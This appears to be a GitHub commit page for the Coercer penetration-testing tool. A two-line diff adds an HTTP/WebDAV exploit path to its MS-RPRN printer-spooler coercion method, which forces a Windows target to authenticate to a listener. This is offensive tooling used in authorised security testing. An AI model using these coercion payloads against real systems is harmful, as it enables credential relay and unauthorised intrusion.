RPRN also supports HTTP exploit path (#82)

p0dalirius · Sep 25, 2024 · f8cba25 · f8cba25
1 parent 4fc4717
commit f8cba25
Showing 1 changed file with 2 additions and 1 deletion.
diff --git a/coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotificationEx.py b/coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotificationEx.py
@@ -19,7 +19,8 @@ class RpcRemoteFindFirstPrinterChangeNotificationEx(MSPROTOCOLRPCCALL):
     """
 
     exploit_paths = [
-        ("smb", '\\\\{{listener}}\x00')
+        ("smb", '\\\\{{listener}}\x00'),
+        ("http", '\\\\{{listener}}@80/print\x00')
     ]
 
     access = {